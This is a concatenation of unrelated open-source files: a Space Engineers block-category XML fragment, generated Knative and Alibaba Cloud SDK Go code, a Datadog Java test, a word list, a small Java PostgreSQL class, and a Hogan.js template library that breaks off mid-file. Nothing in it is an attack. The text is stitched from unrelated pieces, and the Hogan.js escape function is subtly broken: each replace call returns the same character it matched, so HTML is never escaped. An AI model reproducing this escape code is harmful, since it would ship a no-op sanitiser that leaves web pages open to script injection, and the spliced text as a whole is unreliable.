<string>LargeHeavyBlockArmorRoundedCorner</string>
<string>LargeHeavyBlockArmorAngledSlope</string>
<string>LargeHeavyBlockArmorAngledCorner</string>
<string>LargeBlockArmorRoundSlope</string>
<string>LargeBlockArmorRoundCorner</string>
<string>LargeBlockArmorRoundCornerInv</string>
<string>LargeHeavyBlockArmorRoundSlope</string>
<string>LargeHeavyBlockArmorRoundCorner</string>
<string>LargeHeavyBlockArmorRoundCornerInv</string>
<string>LargeBlockArmorSlope2BaseSmooth</string>
<string>LargeHeavyBlockArmorRoundSlope</string>
<string>LargeHeavyBlockArmorRoundCorner</string>
<string>LargeHeavyBlockArmorRoundCornerInv</string>
<string>LargeBlockArmorRoundSlope</string>
<string>LargeBlockArmorSlope2BaseSmooth</string>
<string>LargeBlockArmorSlope2TipSmooth</string>
<string>LargeBlockArmorCorner2BaseSmooth</string>
<string>LargeBlockArmorCorner2TipSmooth</string>
<string>LargeBlockArmorInvCorner2BaseSmooth</string>
<string>LargeBlockArmorInvCorner2TipSmooth</string>
<string>LargeHeavyBlockArmorSlope2BaseSmooth</string>
<string>LargeHeavyBlockArmorSlope2TipSmooth</string>
<string>LargeHeavyBlockArmorCorner2BaseSmooth</string>
<string>LargeHeavyBlockArmorCorner2TipSmooth</string>
<string>LargeHeavyBlockArmorInvCorner2BaseSmooth</string>
<string>LargeHeavyBlockArmorInvCorner2TipSmooth</string>
<string>LargeBlockArmorSlope2Base</string>
<string>LargeBlockArmorSlope2Tip</string>
<string>LargeBlockArmorCorner2Base</string>
<string>LargeBlockArmorCorner2Tip</string>
<string>LargeBlockArmorInvCorner2Base</string>
<string>LargeBlockArmorInvCorner2Tip</string>
<string>LargeHeavyBlockArmorSlope2Base</string>
<string>LargeHeavyBlockArmorSlope2Tip</string>
<string>LargeHeavyBlockArmorCorner2Base</string>
<string>LargeHeavyBlockArmorCorner2Tip</string>
<string>LargeHeavyBlockArmorInvCorner2Base</string>
<string>LargeHeavyBlockArmorInvCorner2Tip</string>
</ItemIds>
</Category>
<Category xsi:type="MyObjectBuilder_GuiBlockCategoryDefinition">
<Id>
<TypeId>GuiBlockCategoryDefinition</TypeId>
<SubtypeId/>
</Id>
<DisplayName>DisplayName_Category_ShipWeaponsTools</DisplayName>
<Name>ShipWeaponsTools</Name>
<SearchBlocks>false</SearchBlocks>
<IsShipCategory>true</IsShipCategory>
<IsBlockCategory>false</IsBlockCategory>
<IsToolCategory>true</IsToolCategory>
<ItemIds>
<string>ShipGrinder/LargeShipGrinder</string>
<string>ShipWelder/LargeShipWelder</string>
<string>SmallMissileLauncher/LargeMissileLauncher</string>
<string>Drill/LargeBlockDrill</string>
<string>Drill/SmallBlockDrill</string>
<string>ShipGrinder/SmallShipGrinder</string>
<string>ShipWelder/SmallShipWelder</string>
<string>SmallGatlingGun/(null)</string>
<string>SmallMissileLauncher/(null)</string>
<string>SmallMissileLauncherReload/SmallRocketLauncherReload</string>
</ItemIds>
</Category>
<Category xsi:type="MyObjectBuilder_GuiBlockCategoryDefinition">
<Id>
<TypeId>GuiBlockCategoryDefinition</TypeId>
<SubtypeId/>
</Id>
<DisplayName>DisplayName_Category_ShipWeaponsTools</DisplayName>
<Name>WeaponsTools</Name>
<ItemIds>
<string>Warhead/LargeWarhead</string>
<string>InteriorTurret/LargeInteriorTurret</string>
<string>LargeGatlingTurret/(null)</string>
<string>LargeMissileTurret/(null)</string>
<string>LargeGatlingTurret/SmallGatlingTurret</string>
<string>LargeMissileTurret/SmallMissileTurret</string>
<string>ShipGrinder/LargeShipGrinder</string>
<string>ShipWelder/LargeShipWelder</string>
<string>SmallMissileLauncher/LargeMissileLauncher</string>
<string>Drill/LargeBlockDrill</string>
<string>Drill/SmallBlockDrill</string>
<string>ShipGrinder/SmallShipGrinder</string>
<string>ShipWelder/SmallShipWelder</string>
<string>SmallGatlingGun/(null)</string>
<string>SmallMissileLauncher/(null)</string>
<string>SmallMissileLauncherReload/SmallRocketLauncherReload</string>
</ItemIds>
</Category>
<Category xsi:type="MyObjectBuilder_GuiBlockCategoryDefinition">
<Id>
<TypeId>GuiBlockCategoryDefinition</TypeId>
<SubtypeId/>
</Id>
<DisplayName>DisplayName_Category_WindowBlocks</DisplayName>
<Name>WindowBlocks</Name>
<IsShipCategory>true</IsShipCategory>
<ItemIds>
<string>CubeBlock/LargeWindowCen</string>
<string>CubeBlock/LargeWindowEdge</string>
<string>CubeBlock/LargeWindowSquare</string>
<string>CubeBlock/Window1x1Face</string>
<string>CubeBlock/Window1x1Flat</string>
<string>CubeBlock/Window1x1FlatInv</string>
<string>CubeBlock/Window1x1Inv</string>
<string>CubeBlock/Window1x1Side</string>
<string>CubeBlock/Window1x1Slope</string>
<string>CubeBlock/Window1x2Face</string>
<string>CubeBlock/Window1x2Flat</string>
<string>CubeBlock/Window1x2FlatInv</string>
<string>CubeBlock/Window1x2Inv</string>
<string>CubeBlock/Window1x2SideLeft</string>
<string>CubeBlock/Window1x2SideRight</string>
<string>CubeBlock/Window1x2Slope</string>
<string>CubeBlock/Window2x3Flat</string>
<string>CubeBlock/Window2x3FlatInv</string>
<string>CubeBlock/Window3x3Flat</string>
<string>CubeBlock/Window3x3FlatInv</string>
</ItemIds>
</Category>
<Category xsi:type="MyObjectBuilder_GuiBlockCategoryDefinition">
<Id>
<TypeId>GuiBlockCategoryDefinition</TypeId>
<SubtypeId/>
</Id>
<DisplayName>DisplayName_Category_ConveyorBlocks</DisplayName>
<Name>Conveyors</Name>
<ItemIds>
<string>CargoContainer/SmallBlockLargeContainer</string>
<string>CargoContainer/SmallBlockMediumContainer</string>
<string>CargoContainer/SmallBlockSmallContainer</string>
<string>CargoContainer/LargeBlockLargeContainer</string>
<string>CargoContainer/LargeBlockSmallContainer</string>
<string>SmallBlockConveyor</string>
<string>LargeBlockConveyor</string>
<string>ConveyorTube</string>
<string>ConveyorTubeSmall</string>
<string>ConveyorTubeMedium</string>
<string>ConveyorFrameMedium</string>
<string>ConveyorTubeCurved</string>
<string>ConveyorTubeSmallCurved</string>
<string>ConveyorTubeCurvedMedium</string>
<!--<string>SmallShipConveyorHub</string>-->
<string>ConveyorSorter/LargeBlockConveyorSorter</string>
<string>ConveyorSorter/MediumBlockConveyorSorter</string>
<string>ConveyorSorter/SmallBlockConveyorSorter</string>
<string>ShipConnector/ConnectorMedium</string>
<string>ShipConnector/ConnectorSmall</string>
<string>ShipConnector/Connector</string>
</ItemIds>
</Category>
<Category xsi:type="MyObjectBuilder_GuiBlockCategoryDefinition">
<Id>
<TypeId>GuiBlockCategoryDefinition</TypeId>
<SubtypeId/>
</Id>
<DisplayName>DisplayName_Category_CharacterAnimations</DisplayName>
<Name>CharacterAnimations</Name>
<IsShipCategory>true</IsShipCategory>
<ShowAnimations>true</ShowAnimations>
<IsAnimationCategory>true</IsAnimationCategory>
<ItemIds>
<string>Wave</string>
<string>Victory</string>
<string>Thumb-Up</string>
<string>FacePalm</string>
</ItemIds>
</Category>
<Category xsi:type="MyObjectBuilder_GuiBlockCategoryDefinition">
<Id>
<TypeId>GuiBlockCategoryDefinition</TypeId>
<SubtypeId/>
</Id>
<DisplayName>DisplayName_Category_CharacterTools</DisplayName>
<Name>CharacterTools</Name>
<SearchBlocks>false</SearchBlocks>
<IsToolCategory>true</IsToolCategory>
<ItemIds>
<string>AutomaticRifleItem</string>
<string>RapidFireAutomaticRifleItem</string>
<string>PreciseAutomaticRifleItem</string>
<string>UltimateAutomaticRifleItem</string>
<string>WelderItem</string>
<string>Welder2Item</string>
<string>Welder3Item</string>
<string>Welder4Item</string>
<string>AngleGrinderItem</string>
<string>AngleGrinder2Item</string>
<string>AngleGrinder3Item</string>
<string>AngleGrinder4Item</string>
<string>HandDrillItem</string>
<string>HandDrill2Item</string>
<string>HandDrill3Item</string>
<string>HandDrill4Item</string>
<string>GridCreateToolDefinition/CreateStation</string>
<string>GridCreateToolDefinition/CreateLargeShip</string>
<string>GridCreateToolDefinition/CreateSmallShip</string>
<string>GoodAIRewardPunishmentTool</string>
</ItemIds>
</Category>
<Category xsi:type="MyObjectBuilder_GuiBlockCategoryDefinition">
<Id>
<TypeId>GuiBlockCategoryDefinition</TypeId>
<SubtypeId/>
</Id>
<DisplayName>DisplayName_Category_ShipThrusters</DisplayName>
<Name>ShipThrusters</Name>
<IsShipCategory>true</IsShipCategory>
<IsBlockCategory>false</IsBlockCategory>
<ItemIds>
<string>SmallBlockSmallThrust</string>
<string>SmallBlockLargeThrust</string>
<string>LargeBlockSmallThrust</string>
<string>LargeBlockLargeThrust</string>
</ItemIds>
</Category>
<Category xsi:type="MyObjectBuilder_GuiBlockCategoryDefinition">
<Id>
<TypeId>GuiBlockCategoryDefinition</TypeId>
<SubtypeId/>
</Id>
<DisplayName>DisplayName_Category_ShipLights</DisplayName>
<Name>ShipLights</Name>
<IsShipCategory>true</IsShipCategory>
<IsBlockCategory>false</IsBlockCategory>
<ItemIds>
<string>LargeBlockFrontLight</string>
<string>SmallLight</string>
<string>SmallBlockFrontLight</string>
</ItemIds>
</Category>
<Category xsi:type="MyObjectBuilder_GuiBlockCategoryDefinition">
<Id>
<TypeId>GuiBlockCategoryDefinition</TypeId>
<SubtypeId/>
</Id>
<DisplayName>DisplayName_Category_Cockpit</DisplayName>
<Name>Cockpits</Name>
<ItemIds>
<string>Cockpit/CockpitOpen</string>
<string>Cockpit/LargeBlockCockpit</string>
<string>Cockpit/LargeBlockCockpitSeat</string>
<string>Cockpit/PassengerSeatLarge</string>
<string>Cockpit/PassengerSeatSmall</string>
<string>Cockpit/SmallBlockCockpit</string>
<string>Cockpit/DBSmallBlockFighterCockpit</string>
</ItemIds>
</Category>
<Category xsi:type="MyObjectBuilder_GuiBlockCategoryDefinition">
<Id>
<TypeId>GuiBlockCategoryDefinition</TypeId>
<SubtypeId/>
</Id>
<DisplayName>DisplayName_Category_Production</DisplayName>
<Name>Production</Name>
<ItemIds>
<string>Refinery/LargeRefinery</string>
<string>Refinery/Blast Furnace</string>
<string>Assembler/LargeAssembler</string>
<string>Projector/LargeProjector</string>
<string>OxygenGenerator/(null)</string>
</ItemIds>
</Category>
<Category xsi:type="MyObjectBuilder_GuiBlockCategoryDefinition">
<Id>
<TypeId>GuiBlockCategoryDefinition</TypeId>
<SubtypeId/>
</Id>
<DisplayName>DisplayName_Category_Power</DisplayName>
<Name>Power</Name>
<ItemIds>
<string>BatteryBlock/LargeBlockBatteryBlock</string>
<string>Reactor/LargeBlockLargeGenerator</string>
<string>Reactor/LargeBlockSmallGenerator</string>
<string>Reactor/SmallBlockLargeGenerator</string>
<string>Reactor/SmallBlockSmallGenerator</string>
<string>SolarPanel/LargeBlockSolarPanel</string>
<string>SolarPanel/SmallBlockSolarPanel</string>
</ItemIds>
</Category>
<Category xsi:type="MyObjectBuilder_GuiBlockCategoryDefinition">
<Id>
<TypeId>GuiBlockCategoryDefinition</TypeId>
<SubtypeId/>
</Id>
<DisplayName>DisplayName_Category_VoxelHands</DisplayName>
<Name>VoxelHands</Name>
<Public>true</Public>
<AvailableInSurvival>false</AvailableInSurvival>
<ItemIds>
<string>VoxelHandDefinition/Box</string>
<string>VoxelHandDefinition/Capsule</string>
<string>VoxelHandDefinition/Ramp</string>
<string>VoxelHandDefinition/Sphere</string>
<string>VoxelHandDefinition/AutoLevel</string>
</ItemIds>
</Category>
</CategoryClasses>
</Definitions>
| {
"pile_set_name": "Github"
} |
/*
Copyright 2020 The Knative Authors
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
// Code generated by informer-gen. DO NOT EDIT.
package internalinterfaces
import (
time "time"
v1 "k8s.io/apimachinery/pkg/apis/meta/v1"
runtime "k8s.io/apimachinery/pkg/runtime"
cache "k8s.io/client-go/tools/cache"
versioned "knative.dev/caching/pkg/client/clientset/versioned"
)
// NewInformerFunc takes versioned.Interface and time.Duration to return a SharedIndexInformer.
type NewInformerFunc func(versioned.Interface, time.Duration) cache.SharedIndexInformer
// SharedInformerFactory a small interface to allow for adding an informer without an import cycle
type SharedInformerFactory interface {
Start(stopCh <-chan struct{})
InformerFor(obj runtime.Object, newFunc NewInformerFunc) cache.SharedIndexInformer
}
// TweakListOptionsFunc is a function that transforms a v1.ListOptions.
type TweakListOptionsFunc func(*v1.ListOptions)
| {
"pile_set_name": "Github"
} |
package ddoscoo
//Licensed under the Apache License, Version 2.0 (the "License");
//you may not use this file except in compliance with the License.
//You may obtain a copy of the License at
//
//http://www.apache.org/licenses/LICENSE-2.0
//
//Unless required by applicable law or agreed to in writing, software
//distributed under the License is distributed on an "AS IS" BASIS,
//WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
//See the License for the specific language governing permissions and
//limitations under the License.
//
// Code generated by Alibaba Cloud SDK Code Generator.
// Changes may cause incorrect behavior and will be lost if the code is regenerated.
import (
"github.com/aliyun/alibaba-cloud-sdk-go/sdk/requests"
"github.com/aliyun/alibaba-cloud-sdk-go/sdk/responses"
)
// DescribeNetworkRegionBlock invokes the ddoscoo.DescribeNetworkRegionBlock API synchronously
// api document: https://help.aliyun.com/api/ddoscoo/describenetworkregionblock.html
func (client *Client) DescribeNetworkRegionBlock(request *DescribeNetworkRegionBlockRequest) (response *DescribeNetworkRegionBlockResponse, err error) {
response = CreateDescribeNetworkRegionBlockResponse()
err = client.DoAction(request, response)
return
}
// DescribeNetworkRegionBlockWithChan invokes the ddoscoo.DescribeNetworkRegionBlock API asynchronously
// api document: https://help.aliyun.com/api/ddoscoo/describenetworkregionblock.html
// asynchronous document: https://help.aliyun.com/document_detail/66220.html
func (client *Client) DescribeNetworkRegionBlockWithChan(request *DescribeNetworkRegionBlockRequest) (<-chan *DescribeNetworkRegionBlockResponse, <-chan error) {
responseChan := make(chan *DescribeNetworkRegionBlockResponse, 1)
errChan := make(chan error, 1)
err := client.AddAsyncTask(func() {
defer close(responseChan)
defer close(errChan)
response, err := client.DescribeNetworkRegionBlock(request)
if err != nil {
errChan <- err
} else {
responseChan <- response
}
})
if err != nil {
errChan <- err
close(responseChan)
close(errChan)
}
return responseChan, errChan
}
// DescribeNetworkRegionBlockWithCallback invokes the ddoscoo.DescribeNetworkRegionBlock API asynchronously
// api document: https://help.aliyun.com/api/ddoscoo/describenetworkregionblock.html
// asynchronous document: https://help.aliyun.com/document_detail/66220.html
func (client *Client) DescribeNetworkRegionBlockWithCallback(request *DescribeNetworkRegionBlockRequest, callback func(response *DescribeNetworkRegionBlockResponse, err error)) <-chan int {
result := make(chan int, 1)
err := client.AddAsyncTask(func() {
var response *DescribeNetworkRegionBlockResponse
var err error
defer close(result)
response, err = client.DescribeNetworkRegionBlock(request)
callback(response, err)
result <- 1
})
if err != nil {
defer close(result)
callback(nil, err)
result <- 0
}
return result
}
// DescribeNetworkRegionBlockRequest is the request struct for api DescribeNetworkRegionBlock
type DescribeNetworkRegionBlockRequest struct {
*requests.RpcRequest
InstanceId string `position:"Query" name:"InstanceId"`
SourceIp string `position:"Query" name:"SourceIp"`
}
// DescribeNetworkRegionBlockResponse is the response struct for api DescribeNetworkRegionBlock
type DescribeNetworkRegionBlockResponse struct {
*responses.BaseResponse
RequestId string `json:"RequestId" xml:"RequestId"`
Config Config `json:"Config" xml:"Config"`
}
// CreateDescribeNetworkRegionBlockRequest creates a request to invoke DescribeNetworkRegionBlock API
func CreateDescribeNetworkRegionBlockRequest() (request *DescribeNetworkRegionBlockRequest) {
request = &DescribeNetworkRegionBlockRequest{
RpcRequest: &requests.RpcRequest{},
}
request.InitWithApiInfo("ddoscoo", "2020-01-01", "DescribeNetworkRegionBlock", "ddoscoo", "openAPI")
return
}
// CreateDescribeNetworkRegionBlockResponse creates a response to parse from DescribeNetworkRegionBlock response
func CreateDescribeNetworkRegionBlockResponse() (response *DescribeNetworkRegionBlockResponse) {
response = &DescribeNetworkRegionBlockResponse{
BaseResponse: &responses.BaseResponse{},
}
return
}
| {
"pile_set_name": "Github"
} |
package com.datadog.profiling.controller;
import static org.junit.jupiter.api.Assertions.assertEquals;
import static org.junit.jupiter.api.Assertions.assertThrows;
import static org.junit.jupiter.api.condition.JRE.JAVA_8;
import datadog.trace.api.Config;
import org.junit.jupiter.api.Test;
import org.junit.jupiter.api.condition.EnabledOnJre;
import org.junit.jupiter.api.extension.ExtendWith;
import org.mockito.Mock;
import org.mockito.junit.jupiter.MockitoExtension;
/** Note: some additional tests for this class are located in profiling-controller-openjdk module */
@ExtendWith(MockitoExtension.class)
public class ControllerFactoryTest {
@Mock private Config config;
@Test
@EnabledOnJre({JAVA_8})
public void testCreateControllerJava8() {
final UnsupportedEnvironmentException unsupportedEnvironmentException =
assertThrows(
UnsupportedEnvironmentException.class,
() -> {
ControllerFactory.createController(config);
});
String expected =
"Not enabling profiling; it requires OpenJDK 11+, Oracle Java 11+, or Zulu Java 8 (1.8.0_212+).";
final String javaVendor = System.getProperty("java.vendor");
final String javaRuntimeName = System.getProperty("java.runtime.name");
final String javaVersion = System.getProperty("java.version");
if ("Azul Systems, Inc.".equals(javaVendor)) {
expected = "Not enabling profiling; it requires Zulu Java 8 (1.8.0_212+).";
} else if ("Java(TM) SE Runtime Environment".equals(javaRuntimeName)
&& "Oracle Corporation".equals(javaVendor)
&& javaVersion.startsWith("1.8")) {
// condition for OracleJRE8 (with proprietary JFR inside)
expected = "Not enabling profiling; it requires Oracle Java 11+.";
} else if ("OpenJDK Runtime Environment".equals(javaRuntimeName)) {
expected =
"Not enabling profiling; it requires 1.8.0_262+ OpenJDK builds from the following vendors: AdoptOpenJDK, Amazon Corretto, Azul Zulu, BellSoft Liberica";
}
assertEquals(
expected,
unsupportedEnvironmentException.getMessage(),
"'" + javaRuntimeName + "' / '" + javaVendor + "' / '" + javaVersion + "'");
}
}
| {
"pile_set_name": "Github"
} |
Ace
Alaska
Anchor
Ant
Anthem
Apron
Armor
Army
Ash
Astronaut
Attic
Avalanche
Axe
Baby
Bacon
Balloon
Banana
Barbecue
Bass
Bath
Battle
Battleship
Bay
Beam
Bean
Beard
Bee
Beer
Bench
Bicycle
Big Bang
Big Ben
Bikini
Biscuit
Blacksmith
Blade
Blind
Blizzard
Blues
Boil
Bonsai
Book
Boss
Bowl
Bowler
Boxer
Brain
Brass
Brazil
Bread
Break
Brick
Bride
Brother
Bubble
Bucket
Bulb
Bunk
Butter
Butterfly
Cable
Caesar
Cake
Camp
Cane
Captain
Castle
Cave
Chain
Chalk
Cheese
Cherry
Chip
Christmas
Cleopatra
Clock
Cloud
Coach
Coast
Coffee
Collar
Columbus
Comb
Comet
Computer
Cone
Country
Cow
Cowboy
Crab
Craft
Crow
Crusader
Crystal
Cuckoo
Curry
Dash
Delta
Dentist
Desk
Director
Disk
Doll
Dollar
Door
Drawing
Dream
Dressing
Driver
Drone
Drum
Dryer
Dust
Dwarf
Ear
Earth
Earthquake
Easter
Eden
Egg
Einstein
Elephant
Farm
Fever
Fiddle
Flag
Flat
Flood
Floor
Foam
Fog
Frog
Frost
Fuel
Gangster
Garden
Gear
Genie
Glacier
Glasses
Goat
Goldilocks
Golf
Governor
Greenhouse
Groom
Guitar
Gum
Gymnast
Hair
Halloween
Hamburger
Hammer
Hawaii
Helmet
Hercules
Hide
Hit
Homer
Hose
House
Ice Age
Iceland
Igloo
Ink
Jail
Jellyfish
Jeweler
Joan of Arc
Jockey
Joker
Judge
Jumper
Kick
Kilt
King Arthur
Kiss
Kitchen
Knot
Kung Fu
Lace
Ladder
Laundry
Leaf
Leather
Lemonade
Letter
Lightning
Lip
Locust
Love
Lumberjack
Lunch
Magazine
Magician
Makeup
Manicure
Map
Maracas
Marathon
Mark
Medic
Memory
Mess
Meter
Microwave
Mile
Milk
Mill
Minotaur
Minute
Mirror
Miss
Mohawk
Mona Lisa
Monkey
Moses
Mosquito
Mother
Mountie
Mud
Mummy
Musketeer
Mustard
Napoleon
Nerve
Newton
Noah
Nose
Notre Dame
Nylon
Oasis
Onion
Pacific
Pad
Paddle
Page
Paint
Parade
Parrot
Patient
Pea
Peach
Peanut
Pearl
Pen
Penny
Pentagon
Pepper
Pew
Pig
Pillow
Pine
Pitcher
Pizza
Pocket
Polish
Polo
Pop
Popcorn
Potato
Potter
Powder
Puppet
Purse
Quack
Quarter
Radio
Rail
Rainbow
Ram
Ranch
Rat
Razor
Record
Reindeer
Rice
Rifle
Rip
River
Road
Rodeo
Roll
Rope
Rubber
Russia
Rust
Sack
Saddle
Sahara
Sail
Salad
Saloon
Salsa
Salt
Sand
Santa
Saw
Scarecrow
Scratch
Scroll
Second
Shampoo
Shed
Sheet
Shell
Sherlock
Sherwood
Shoot
Shorts
Shoulder
Shower
Sign
Silk
Sister
Skates
Ski
Skull
Sled
Sleep
Sling
Slipper
Sloth
Smell
Smoke
Smoothie
Snake
Snap
Soap
Soup
Sphinx
Spirit
Spoon
Spray
Spurs
Squash
Squirrel
St.Patrick
Stable
Stamp
Steam
Steel
Step
Stethoscope
Sticker
Storm
Story
Street
Sugar
Sumo
Sun
Swamp
Sweat
Sword
Tank
Taste
Tattoo
Tea
Team
Tear
Texas
Thunder
Tiger
Tin
Tip
Tipi
Toast
Tornado
Trick
Troll
Tunnel
Turtle
Tutu
Tuxedo
Univerity
Valentine
Vampire
Venus
Viking
Violet
Virus
Volcano
Volume
Wagon
Waitress
Walrus
Wedding
Werewolf
Wheel
Wheelchair
Whistle
Window
Wing
Wish
Wizard
Wonderland
Wood
Wool
Yellowstone
Zombie
| {
"pile_set_name": "Github"
} |
/*
* Copyright (c) 2007 Mike Heath. All rights reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
*/
package org.adbcj.postgresql.codec.frontend;
public class SslRequestMessage extends AbstractFrontendMessage {
@Override
public FrontendMessageType getType() {
return FrontendMessageType.SSL;
}
}
| {
"pile_set_name": "Github"
} |
/*
* Copyright 2011 Twitter, Inc.
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
var Hogan = {};
(function (Hogan, useArrayBuffer) {
Hogan.Template = function (renderFunc, text, compiler, options) {
this.r = renderFunc || this.r;
this.c = compiler;
this.options = options;
this.text = text || '';
this.buf = (useArrayBuffer) ? [] : '';
}
Hogan.Template.prototype = {
// render: replaced by generated code.
r: function (context, partials, indent) { return ''; },
// variable escaping
v: hoganEscape,
render: function render(context, partials, indent) {
return this.ri([context], partials || {}, indent);
},
// render internal -- a hook for overrides that catches partials too
ri: function (context, partials, indent) {
return this.r(context, partials, indent);
},
// tries to find a partial in the curent scope and render it
rp: function(name, context, partials, indent) {
var partial = partials[name];
if (!partial) {
return '';
}
if (this.c && typeof partial == 'string') {
partial = this.c.compile(partial, this.options);
}
return partial.ri(context, partials, indent);
},
// render a section
rs: function(context, partials, section) {
var tail = context[context.length - 1];
if (!isArray(tail)) {
section(context, partials, this);
return;
}
for (var i = 0; i < tail.length; i++) {
context.push(tail[i]);
section(context, partials, this);
context.pop();
}
},
// maybe start a section
s: function(val, ctx, partials, inverted, start, end, tags) {
var pass;
if (isArray(val) && val.length === 0) {
return false;
}
if (typeof val == 'function') {
val = this.ls(val, ctx, partials, inverted, start, end, tags);
}
pass = (val === '') || !!val;
if (!inverted && pass && ctx) {
ctx.push((typeof val == 'object') ? val : ctx[ctx.length - 1]);
}
return pass;
},
// find values with dotted names
d: function(key, ctx, partials, returnFound) {
var names = key.split('.'),
val = this.f(names[0], ctx, partials, returnFound),
cx = null;
if (key === '.' && isArray(ctx[ctx.length - 2])) {
return ctx[ctx.length - 1];
}
for (var i = 1; i < names.length; i++) {
if (val && typeof val == 'object' && names[i] in val) {
cx = val;
val = val[names[i]];
} else {
val = '';
}
}
if (returnFound && !val) {
return false;
}
if (!returnFound && typeof val == 'function') {
ctx.push(cx);
val = this.lv(val, ctx, partials);
ctx.pop();
}
return val;
},
// find values with normal names
f: function(key, ctx, partials, returnFound) {
var val = false,
v = null,
found = false;
for (var i = ctx.length - 1; i >= 0; i--) {
v = ctx[i];
if (v && typeof v == 'object' && key in v) {
val = v[key];
found = true;
break;
}
}
if (!found) {
return (returnFound) ? false : "";
}
if (!returnFound && typeof val == 'function') {
val = this.lv(val, ctx, partials);
}
return val;
},
// higher order templates
ho: function(val, cx, partials, text, tags) {
var compiler = this.c;
var t = val.call(cx, text, function(t) {
return compiler.compile(t, {delimiters: tags}).render(cx, partials);
});
this.b(compiler.compile(t.toString(), {delimiters: tags}).render(cx, partials));
return false;
},
// template result buffering
b: (useArrayBuffer) ? function(s) { this.buf.push(s); } :
function(s) { this.buf += s; },
fl: (useArrayBuffer) ? function() { var r = this.buf.join(''); this.buf = []; return r; } :
function() { var r = this.buf; this.buf = ''; return r; },
// lambda replace section
ls: function(val, ctx, partials, inverted, start, end, tags) {
var cx = ctx[ctx.length - 1],
t = null;
if (!inverted && this.c && val.length > 0) {
return this.ho(val, cx, partials, this.text.substring(start, end), tags);
}
t = val.call(cx);
if (typeof t == 'function') {
if (inverted) {
return true;
} else if (this.c) {
return this.ho(t, cx, partials, this.text.substring(start, end), tags);
}
}
return t;
},
// lambda replace variable
lv: function(val, ctx, partials) {
var cx = ctx[ctx.length - 1];
var result = val.call(cx);
if (typeof result == 'function') {
result = result.call(cx);
}
result = result.toString();
if (this.c && ~result.indexOf("{{")) {
return this.c.compile(result).render(cx, partials);
}
return result;
}
};
var rAmp = /&/g,
rLt = /</g,
rGt = />/g,
rApos =/\'/g,
rQuot = /\"/g,
hChars =/[&<>\"\']/;
function hoganEscape(str) {
str = String((str === null || str === undefined) ? '' : str);
return hChars.test(str) ?
str
.replace(rAmp,'&')
.replace(rLt,'<')
.replace(rGt,'>')
.replace(rApos,''')
.replace(rQuot, '"') :
str;
}
var isArray = Array.isArray || function(a) {
return Object.prototype.toString.call(a) === '[object Array]';
};
})(typeof exports !== 'undefined' ? exports : Hogan);
(function (Hogan) {
// Setup regex assignments
// remove whitespace according to Mustache spec
var rIsWhitespace = /\S/,
rQuot = /\"/g,
rNewline = /\n/g,
rCr = /\r/g,
rSlash = /\\/g,
tagTypes = {
'#': 1, '^': 2, '/': 3, '!': 4, '>': 5,
'<': 6, '=': 7, '_v': 8, '{': 9, '&': 10
};
Hogan.scan = function scan(text, delimiters) {
var len = text.length,
IN_TEXT = 0,
IN_TAG_TYPE = 1,
IN_TAG = 2,
state = IN_TEXT,
tagType = null,
tag = null,
buf = '',
tokens = [],
seenTag = false,
i = 0,
lineStart = 0,
otag = '{{',
ctag = '}}';
function addBuf() {
if (buf.length > 0) {
tokens.push(new String(buf));
buf = '';
}
}
function lineIsWhitespace() {
var isAllWhitespace = true;
for (var j = lineStart; j < tokens.length; j++) {
isAllWhitespace =
(tokens[j].tag && tagTypes[tokens[j].tag] < tagTypes['_v']) ||
(!tokens[j].tag && tokens[j].match(rIsWhitespace) === null);
if (!isAllWhitespace) {
return false;
}
}
return isAllWhitespace;
}
function filterLine(haveSeenTag, noNewLine) {
addBuf();
if (haveSeenTag && lineIsWhitespace()) {
for (var j = lineStart, next; j < tokens.length; j++) {
if (!tokens[j].tag) {
if ((next = tokens[j+1]) && next.tag == '>') {
// set indent to token value
next.indent = tokens[j].toString()
}
tokens.splice(j, 1);
}
}
} else if (!noNewLine) {
tokens.push({tag:'\n'});
}
seenTag = false;
lineStart = tokens.length;
}
function changeDelimiters(text, index) {
var close = '=' + ctag,
closeIndex = text.indexOf(close, index),
delimiters = trim(
text.substring(text.indexOf('=', index) + 1, closeIndex)
).split(' ');
otag = delimiters[0];
ctag = delimiters[1];
return closeIndex + close.length - 1;
}
if (delimiters) {
delimiters = delimiters.split(' ');
otag = delimiters[0];
ctag = delimiters[1];
}
for (i = 0; i < len; i++) {
if (state == IN_TEXT) {
if (tagChange(otag, text, i)) {
--i;
addBuf();
state = IN_TAG_TYPE;
} else {
if (text.charAt(i) == '\n') {
filterLine(seenTag);
} else {
buf += text.charAt(i);
}
}
} else if (state == IN_TAG_TYPE) {
i += otag.length - 1;
tag = tagTypes[text.charAt(i + 1)];
tagType = tag ? text.charAt(i + 1) : '_v';
if (tagType == '=') {
i = changeDelimiters(text, i);
state = IN_TEXT;
} else {
if (tag) {
i++;
}
state = IN_TAG;
}
seenTag = i;
} else {
if (tagChange(ctag, text, i)) {
tokens.push({tag: tagType, n: trim(buf), otag: otag, ctag: ctag,
i: (tagType == '/') ? seenTag - ctag.length : i + otag.length});
buf = '';
i += ctag.length - 1;
state = IN_TEXT;
if (tagType == '{') {
if (ctag == '}}') {
i++;
} else {
cleanTripleStache(tokens[tokens.length - 1]);
}
}
} else {
buf += text.charAt(i);
}
}
}
filterLine(seenTag, true);
return tokens;
}
function cleanTripleStache(token) {
if (token.n.substr(token.n.length - 1) === '}') {
token.n = token.n.substring(0, token.n.length - 1);
}
}
function trim(s) {
if (s.trim) {
return s.trim();
}
return s.replace(/^\s*|\s*$/g, '');
}
